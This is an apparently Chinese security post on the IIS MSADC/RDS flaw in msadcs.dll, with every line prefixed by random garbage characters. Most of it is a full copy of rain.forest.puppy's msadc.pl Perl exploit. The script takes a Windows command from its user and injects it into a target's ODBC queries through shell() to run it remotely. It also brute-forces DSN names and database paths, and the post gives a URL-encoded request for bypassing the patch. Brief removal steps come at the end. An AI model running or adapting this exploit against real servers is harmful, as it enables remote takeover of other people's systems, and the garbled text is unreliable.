IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
O=MO M aa.EtKl 涉及程序：
S$%T 0~PR~ Microsoft NT server
#v=hi L ] "q)X{G(+ 描述：
Q68&CO(rE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@mNf(& /.aZXC$] 详细：
@PZ&/F ^ 如果你没有时间读详细内容的话，就删除:
a_L& *%; c:\Program Files\Common Files\System\Msadc\msadcs.dll
T#|Qexz6 @ 有关的安全问题就没有了。
1G =1FGvP sn+i[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
H-n k\ K<| <) uUAh 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
hc"+6 xc 关于利用ODBC远程漏洞的描述，请参看:
7cK#fh"hvg ]N:SB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &%>l9~F'~ 37v! :xF! 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
gJ+MoAM" http://www.microsoft.com/security/bulletins/MS99-025faq.asp AVOzx00U Ii?<L z 这里不再论述。
(%oZgvM ,`^B!U3m 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
f:B+R .*r ?zDV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
` *&*jdq&i 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
PnFU{N xA`Q4"[I S?D|"#-, #将下面这段保存为txt文件，然后: "perl -x 文件名"
pez[qs ^a[7qX_B #!perl
aM9^ V MOb #
\%KJ +PJ # MSADC/RDS 'usage' (aka exploit) script
KR^lm N #
1wW8D>f]K # by rain.forest.puppy
x9a*^l #
KX"?3#U#Fm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
t*.O >$[ # beta test and find errors!
o`+6E
q0w XK`># *"V use Socket; use Getopt::Std;
R."<he ; getopts("e:vd:h:XR", \%args);
{[jcT>.3j 9Y&n$svB print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
fv5'Bl 6ALf`: if (!defined $args{h} && !defined $args{R}) {
[`Ol&R4k print qq~
W% YJ.%I Usage: msadc.pl -h <host> { -d <delay> -X -v }
zQ (li9 -h <host> = host you want to scan (ip or domain)
AZ(["kh[ -d <seconds> = delay between calls, default 1 second
E=A h_zKU -X = dump Index Server path table, if available
?uc=(J+ 6 -v = verbose
38 L8AJqD -e = external dictionary file for step 5
E&Pv:h,pV& 1/j J;}
Or a -R will resume a command session
al F* L GLB7h 9> ~; exit;}
N0O8to}V glH&v8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$LRvPan` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-w1U /o. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0F8y 8s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
V9`VF O $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
kUUN2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
E
b-?wzh MG*#-<OV. if (!defined $args{R}){ $ret = &has_msadc;
^+F@KX n L die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<K=:_ 8Focs p2
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X-|`|>3E
. "cmd /c ";
)TP 1i $in=<STDIN>; chomp $in;
-;a}'1HOE $command="cmd /c " . $in ;
Ett%Y*D+J x>A(016:C if (defined $args{R}) {&load; exit;}
/1zi(z
.5 p"o- :D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
MH. ,dB& &try_btcustmr;
R 3TdQ6j 7Y&W^]UZ0t print "\nStep 2: Trying to make our own DSN...";
Y#{ L} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
T\:Vu{| &{!FE`ZC_ print "\nStep 3: Trying known DSNs...";
Y/2@PzA| &known_dsn;
+XLy Pj KqG:o+V= print "\nStep 4: Trying known .mdbs...";
J/>Y mi, &known_mdb;
XpJT/&4 (@B
gsY if (defined $args{e}){
v?,_SVgAi print "\nStep 5: Trying dictionary of DSN names...";
G%Hr c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
yd$_XW p?\ KS!mzq - print "Sorry Charley...maybe next time?\n";
R+Dx#Wn I exit;
dGt;t5An V e[$=5U~c ##############################################################################
8)s}>:} 3Wa^:8N sub sendraw { # ripped and modded from whisker
mDEO$:A sleep($delay); # it's a DoS on the server! At least on mine...
Di5eD ,N my ($pstr)=@_;
ry\Nm[ SQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7;:R\d 6iL die("Socket problems\n");
&|'1.^f@;E if(connect(S,pack "SnA4x8",2,80,$target)){
#K.OJJaG select(S); $|=1;
wS-D"\4/ print $pstr; my @in=<S>;
)s5Q4m! select(STDOUT); close(S);
*IG} /O.VT return @in;
X!ZUR^ } else { die("Can't connect...\n"); }}
qa)X\0 )cJ9YKKy ##############################################################################
z lco? Rt u27 K
0} sub make_header { # make the HTTP request
O68/Hf1W my $msadc=<<EOT
= e=sK'NvD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3.Z}2F] User-Agent: ACTIVEDATA
.t*MGUg Host: $ip
FloCR=^H Content-Length: $clen
8iaP(*J Connection: Keep-Alive
r z+)z:u .aV#W@iyK ADCClientVersion:01.06
Eyv%"+> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
u|&"l H phvsre< --!ADM!ROX!YOUR!WORLD!
0 "o% =i; Content-Type: application/x-varg
M>np lHq
Content-Length: $reqlen
tGDsZ;3Yr S +
gzl#r EOT
)ZC 0/>R ; $msadc=~s/\n/\r\n/g;
.;&c<c| return $msadc;}
FpN >T ;|*o^9q ##############################################################################
F`IV9qv }K1v=k sub make_req { # make the RDS request
ad+@2-Y my ($switch, $p1, $p2)=@_;
U2 m86@E my $req=""; my $t1, $t2, $query, $dsn;
m>B^w)&C B*!{LjXV if ($switch==1){ # this is the btcustmr.mdb query
o9& 1Ct $query="Select * from Customers where City=" . make_shell();
G`8i{3: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
m%h I@' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
nb::, ]awu7}C9Z elsif ($switch==2){ # this is general make table query
=z`#n} v $query="create table AZZ (B int, C varchar(10))";
M:K5r7Q!yv $dsn="$p1";}
-X BD WV MWTzJGRT elsif ($switch==3){ # this is general exploit table query
= i9|lU"Va $query="select * from AZZ where C=" . make_shell();
vncLB&@ 7 $dsn="$p1";}
DdD wMq @c,Qj$\1 elsif ($switch==4){ # attempt to hork file info from index server
f GS5{dti $query="select path from scope()";
&v9*D`7L $dsn="Provider=MSIDXS;";}
5q4sxY9T t M?3oO elsif ($switch==5){ # bad query
:j f eY $query="select";
uU_lC5A| $dsn="$p1";}
;%wQnhg 6+`+$s0 $t1= make_unicode($query);
_=l8e-6r $t2= make_unicode($dsn);
whFaL}2C $req = "\x02\x00\x03\x00";
12r]"?@|s $req.= "\x08\x00" . pack ("S1", length($t1));
jyB^a;- $req.= "\x00\x00" . $t1 ;
1 ? be $req.= "\x08\x00" . pack ("S1", length($t2));
f/+UD-@%m $req.= "\x00\x00" . $t2 ;
OwRH
:l $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W
C z+ return $req;}
i p.aM#
${ fJ] ##############################################################################
En-BT0o 4 :m/w !q$ sub make_shell { # this makes the shell() statement
d0ZbusHHb return "'|shell(\"$command\")|'";}
4'EC(NR7N kq +`. ##############################################################################
2 smQD8t Y6<"_ sub make_unicode { # quick little function to convert to unicode
93I.Wp_{ my ($in)=@_; my $out;
VaKBS/ y" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~Psv[b=] return $out;}
s X_6qKUH
a(cZ]`s]* ##############################################################################
h |m>JDxn w
K)/m`{g sub rdo_success { # checks for RDO return success (this is kludge)
o +-G@ 16 my (@in) = @_; my $base=content_start(@in);
Nr6[w|Tzd if($in[$base]=~/multipart\/mixed/){
~t0\Q; @($ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
* F[;D7sZ~ return 0;}
Ek#?B6s Qmbl_# ##############################################################################
hf#[Vns LYM(eK5V sub make_dsn { # this makes a DSN for us
3" B $M my @drives=("c","d","e","f");
]CL t Km print "\nMaking DSN: ";
XNZW J foreach $drive (@drives) {
#i6ZY^+ee print "$drive: ";
Iq/V[v my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
M{)7C,' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
AE?G+:B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2$S^3$k' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bSbUf%LKt return 0 if $2 eq "404"; # not found/doesn't exist
a[).'$S}' if($2 eq "200") {
(c3%rM m] foreach $line (@results) {
>U4hsr05 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w&U>w@H^ } return 0;}
q2>dPI;3T ( q8uB ##############################################################################
R>|)-"b( ` 6,J:sm\ sub verify_exists {
s }m.r5 my ($page)=@_;
1 UyQ``v/ my @results=sendraw("GET $page HTTP/1.0\n\n");
0J
\hku\ return $results[0];}
(}^Qo^Vr 8y$c\Eu(mF ##############################################################################
xNLvK:@0p 83~9Xb=!\ sub try_btcustmr {
O\; R
( my @drives=("c","d","e","f");
9pY`_lxa> my @dirs=("winnt","winnt35","winnt351","win","windows");
@ckOLtxE> @)hrj2Jw foreach $dir (@dirs) {
b!do7%]i print "$dir -> "; # fun status so you can see progress
`y%1K|Y= foreach $drive (@drives) {
fQ.{s Q$@h print "$drive: "; # ditto
cx_.+ R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
aNcuT,=(?8 $reqlenlen=length( "$reqlen" );
1i g#|v*+ $clen= 206 + $reqlenlen + $reqlen;
yK y07<Gr> uW@o,S0: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Xj;\ROBH- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f*u D9l%/ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W'0(0;+G/j 8r|5l~`8 ##############################################################################
Adyv>T9 "~-Y 'O sub odbc_error {
$d[ -f eU my (@in)=@_; my $base;
e1d);m$ my $base = content_start(@in);
qYi<GI*|@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gr&Rkuyfv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+[2X@J $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hp:8e@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h~ F`[G/' return $in[$base+4].$in[$base+5].$in[$base+6];}
0nX.%2p#Je print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;?-`n4B& print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
VOmWRy"L $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JE[ + 1Vden.H*CI ##############################################################################
]n/fB|t E l>H G|ol sub verbose {
4t Z. T9d my ($in)=@_;
Wd0$t return if !$verbose;
vWM '}( print STDOUT "\n$in\n";}
[+j 39d.Q #c2 InwZV ##############################################################################
s3.,
N| "q'9 -lk sub save {
`LWZ!Q my ($p1, $p2, $p3, $p4)=@_;
|ULwUi-r open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^mNPP:%iN print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1!;}#m7v close OUT;}
":o1g5? fUJ\W"qya ##############################################################################
p Pezy: p]7Gj &a sub load {
;4g_~fB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&R'%OF i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TLkJZ4}?Q @p=<IN>; close(IN);
%s#`i$|z*n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
>Za66<: $target= inet_aton($ip) || die("inet_aton problems");
qL \*rYe< print "Resuming to $ip ...";
HJ\CGYmyz $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2k^dxk~$V; if($p[1]==1) {
qtv>`:neB $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FyZ iiH4| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zF
F=v7[j my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j5cc"s if (rdo_success(@results)){print "Success!\n";}
_ `Abz2s else { print "failed\n"; verbose(odbc_error(@results));}}
^edg@fp elsif ($p[1]==3){
H$
sNp\[{ if(run_query("$p[3]")){
4]\t6,Cz8 print "Success!\n";} else { print "failed\n"; }}
7%(|)3"V elsif ($p[1]==4){
B-OuBS,fwC if(run_query($drvst . "$p[3]")){
T21 SuM print "Success!\n"; } else { print "failed\n"; }}
r7I,%}k exit;}
j&S8x|5 kP6P/F|RcZ ##############################################################################
kZlRS^6 >VAZ^kgi sub create_table {
\sy;ca)[6g my ($in)=@_;
-}ebn*7i\ $reqlen=length( make_req(2,$in,"") ) - 28;
I)-u)P?2x $reqlenlen=length( "$reqlen" );
OoFQ@zE7% $clen= 206 + $reqlenlen + $reqlen;
c0 H8FF3 my @results=sendraw(make_header() . make_req(2,$in,""));
~'4:{xH return 1 if rdo_success(@results);
E "[^^<I my $temp= odbc_error(@results); verbose($temp);
Wv return 1 if $temp=~/Table 'AZZ' already exists/;
EmDA\9~@R return 0;}
mQ9%[U, \E'Nk$V3 ##############################################################################
Efb S*f5 P7Th 94 sub known_dsn {
VH{SE7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
y %k`
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>e 4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{d;eZt
` "banner", "banners", "ads", "ADCDemo", "ADCTest");
,]N!I%SI d E@R7yU@ foreach $dSn (@dsns) {
`;^% t print ".";
RfT#kh/5 next if (!is_access("DSN=$dSn"));
h&!k!Su3# if(create_table("DSN=$dSn")){
6]|NB & print "$dSn successful\n";
V.IgEE] if(run_query("DSN=$dSn")){
VD \pQ.= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h>Z$
n`T print "Something's borked. Use verbose next time\n";}}} print "\n";}
r: _- Cj cVZC BcKC? ##############################################################################
ZS uMQ32 ;z9( sub is_access {
NVnKgGlHgd my ($in)=@_;
/D[GXX $reqlen=length( make_req(5,$in,"") ) - 28;
7p?6j)rj $reqlenlen=length( "$reqlen" );
J3sO%4sYR $clen= 206 + $reqlenlen + $reqlen;
k3m|I*_\L my @results=sendraw(make_header() . make_req(5,$in,""));
p6V`b'*> my $temp= odbc_error(@results);
+ R)x5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Q#@gOn=W\ return 0;}
lQ%]](a6 5L<}u` 0J ##############################################################################
? =<vC }P$48o VY sub run_query {
YbC6&_ my ($in)=@_;
&DX9m4,y $reqlen=length( make_req(3,$in,"") ) - 28;
%*.;3;m $reqlenlen=length( "$reqlen" );
^g,[#Rh $clen= 206 + $reqlenlen + $reqlen;
cU25]V^{\ my @results=sendraw(make_header() . make_req(3,$in,""));
5 TD " return 1 if rdo_success(@results);
lLHHuQpuj my $temp= odbc_error(@results); verbose($temp);
S^
?O KqS return 0;}
5eC5oX > +q] ##############################################################################
a9GOY+;bf
b`n+[UCPtn sub known_mdb {
D PnKr/ my @drives=("c","d","e","f","g");
oHm U| my @dirs=("winnt","winnt35","winnt351","win","windows");
x8T5aS my $dir, $drive, $mdb;
]{OEU]I@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XN"V{;O P1 Z'GO p? # this is sparse, because I don't know of many
/UjRuUC] my @sysmdbs=( "\\catroot\\icatalog.mdb",
*seKph+' c "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
KQ/v](7 7 "\\system32\\certmdb.mdb",
*DX6m "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
l;L&ijTQD oll~|J^sg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
)_T[thf] "\\cfusion\\cfapps\\forums\\forums_.mdb",
v&(X& q "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2
G_*Pqc "\\cfusion\\cfapps\\security\\realm_.mdb",
}H{{ @RU "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1vu4}%nD "\\cfusion\\database\\cfexamples.mdb",
h*h V "\\cfusion\\database\\cfsnippets.mdb",
gQ
h0-Dnw "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
] Bs ? "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
L6j
5pI "\\cfusion\\brighttiger\\database\\cleam.mdb",
$*%Ml+H- "\\cfusion\\database\\smpolicy.mdb",
uL b-
NxQ- "\\cfusion\\database\cypress.mdb",
@Q x|!% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
d@"eWvnlZ "\\website\\cgi-win\\dbsample.mdb",
-!MDYj +U "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
w2~(/RgO "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
o lNL|WJ`w ); #these are just
`h S<F"
j foreach $drive (@drives) {
8N(bL GUG foreach $dir (@dirs){
bF' ~&<c foreach $mdb (@sysmdbs) {
76)(G/ print ".";
j:|60hDz^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d\, 4Wet;# print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
UL[4sv6\9 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~`hI|i<] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
R*TCo EKO } else { print "Something's borked. Use verbose next time\n"; }}}}}
8N6a= [fv< ^lu)'z%6 foreach $drive (@drives) {
h^>kjMM foreach $mdb (@mdbs) {
-p ) l63 print ".";
O6OP{ sb if(create_table($drv . $drive . $dir . $mdb)){
9Pd~ print "\n" . $drive . $dir . $mdb . " successful\n";
% @Ks<"9 if(run_query($drv . $drive . $dir . $mdb)){
fB"3R-H?O print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
~>D;2 S(a } else { print "Something's borked. Use verbose next time\n"; }}}}
d"XS;;l%< }
5];
8 ;k7` ` ##############################################################################
6 kT
l(+ xbo-~{ sub hork_idx {
g$dL5N7 print "\nAttempting to dump Index Server tables...\n";
P h]e\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$Miii`VS9 $reqlen=length( make_req(4,"","") ) - 28;
$2>tfKhtA $reqlenlen=length( "$reqlen" );
2>fG}qYy$ $clen= 206 + $reqlenlen + $reqlen;
wXZ . D}d my @results=sendraw2(make_header() . make_req(4,"",""));
yixW>W} if (rdo_success(@results)){
WGG|d)'@ my $max=@results; my $c; my %d;
B0 q![ for($c=19; $c<$max; $c++){
8t}=?:B+{ $results[$c]=~s/\x00//g;
^Sy\ < $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
l$,l3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2t [c^J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
g,y ` [dr $d{"$1$2"}="";}
9qXHdpb#g" foreach $c (keys %d){ print "$c\n"; }
M=o,Sav5* } else {print "Index server doesn't seem to be installed.\n"; }}
I6y&6 g yc]ni.Hz ##############################################################################
0 nWV1)Q0= rxa"ji!) sub dsn_dict {
h#]} J}si open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<mY`< (bc while(<IN>){
<?qmB }Y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
J-?\,N1R7 next if (!is_access("DSN=$dSn"));
N>ct`a)BD/ if(create_table("DSN=$dSn")){
w,3`Xq@ print "$dSn successful\n";
-#gb {vj if(run_query("DSN=$dSn")){
.&@|)u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dN |w ;|M print "Something's borked. Use verbose next time\n";}}}
YXI DqTA+ print "\n"; close(IN);}
FbFUZ^Zj =# Vdz=. ##############################################################################
d*A > P 1uV_C[: sub sendraw2 { # ripped and modded from whisker
9d[0i#` :q sleep($delay); # it's a DoS on the server! At least on mine...
Bf'jXM{- my ($pstr)=@_;
}%k"qW<Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<u2*(BM4 die("Socket problems\n");
fy_'K}i3k if(connect(S,pack "SnA4x8",2,80,$target)){
]; ^OY\, print "Connected. Getting data";
#(aROTV5a open(OUT,">raw.out"); my @in;
p6Z]oL q select(S); $|=1; print $pstr;
i $I|JJ J while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/=e[(5X|O close(OUT); select(STDOUT); close(S); return @in;
z(\H.P# } else { die("Can't connect...\n"); }}
3sp*.dk {f^30F w ##############################################################################
)7j" OE E 3I'3 sub content_start { # this will take in the server headers
n;Iey[7_E` my (@in)=@_; my $c;
['s_qCA [ for ($c=1;$c<500;$c++) {
mH{cGu? if($in[$c] =~/^\x0d\x0a/){
>P0AGZ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]NFDE-Jz] else { return $c+1; }}}
Gzp)OHgJ return -1;} # it should never get here actually
M\v4{\2l0
/$eEj ##############################################################################
E0O{5YF^T oQ y G sub funky {
bLV@Ts my (@in)=@_; my $error=odbc_error(@in);
4uftx1o
if($error=~/ADO could not find the specified provider/){
t&P5Zw*B
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~:t2@z4p exit;}
p\-.DRwT` if($error=~/A Handler is required/){
v$tS 2N2 print "\nServer has custom handler filters (they most likely are patched)\n";
cF(9[8c{ exit;}
4tuEC-oh if($error=~/specified Handler has denied Access/){
M9&tys[ KX print "\nServer has custom handler filters (they most likely are patched)\n";
8dA/dMQ exit;}}
$s ]@%6 f 8V|-BP5^ ##############################################################################
zf o.S[R@ _-!6@^+ sub has_msadc {
>8 JvnBFx= my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Bp/8 >E O` my $base=content_start(@results);
.ERO*Tj return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2~`dV _ return 0;}
,o}[q92@w ^_=0.:QaW ########################
GUp51*#XR ;Xt D z ]cA~%$c89s 解决方案：
wcL0#[) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~o2{Wn[" 2、移除web 目录: /msadc
